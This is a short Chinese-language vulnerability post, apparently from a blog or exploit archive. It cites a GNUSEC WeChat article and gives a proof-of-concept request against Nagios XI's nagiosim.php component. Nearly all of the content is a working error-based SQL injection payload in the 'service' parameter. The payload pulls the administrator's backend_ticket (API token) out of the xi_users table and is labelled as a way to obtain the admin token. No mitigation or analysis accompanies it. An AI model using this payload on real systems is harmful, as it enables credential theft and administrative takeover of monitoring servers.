参考来源:[GNUSEC](https://mp.weixin.qq.com/s?__biz=MzI3MjA0ODgwNQ==&mid=2651087868&idx=1&sn=48251c39ed31db7116889913ea4d3dc8&scene=1&srcid=0603gTXuxET7NJsMKXDSTLF0&key=8d8120cb97983fadeb6c682a37490f8b76e5f89f0d36466a0d56c0353187341bcffe7a0d983d92bf9dee537d783e7f4a&ascene=0&uin=MTE4NDAxNTgyMQ%3D%3D&devicetype=iMac+MacBookPro11%2C1+OSX+OSX+10.11.4+build(15E65)
[POC]:
获取管理员TOKEN
```
GET
/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+
(SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS
+CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2))
x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1
```

暂无评论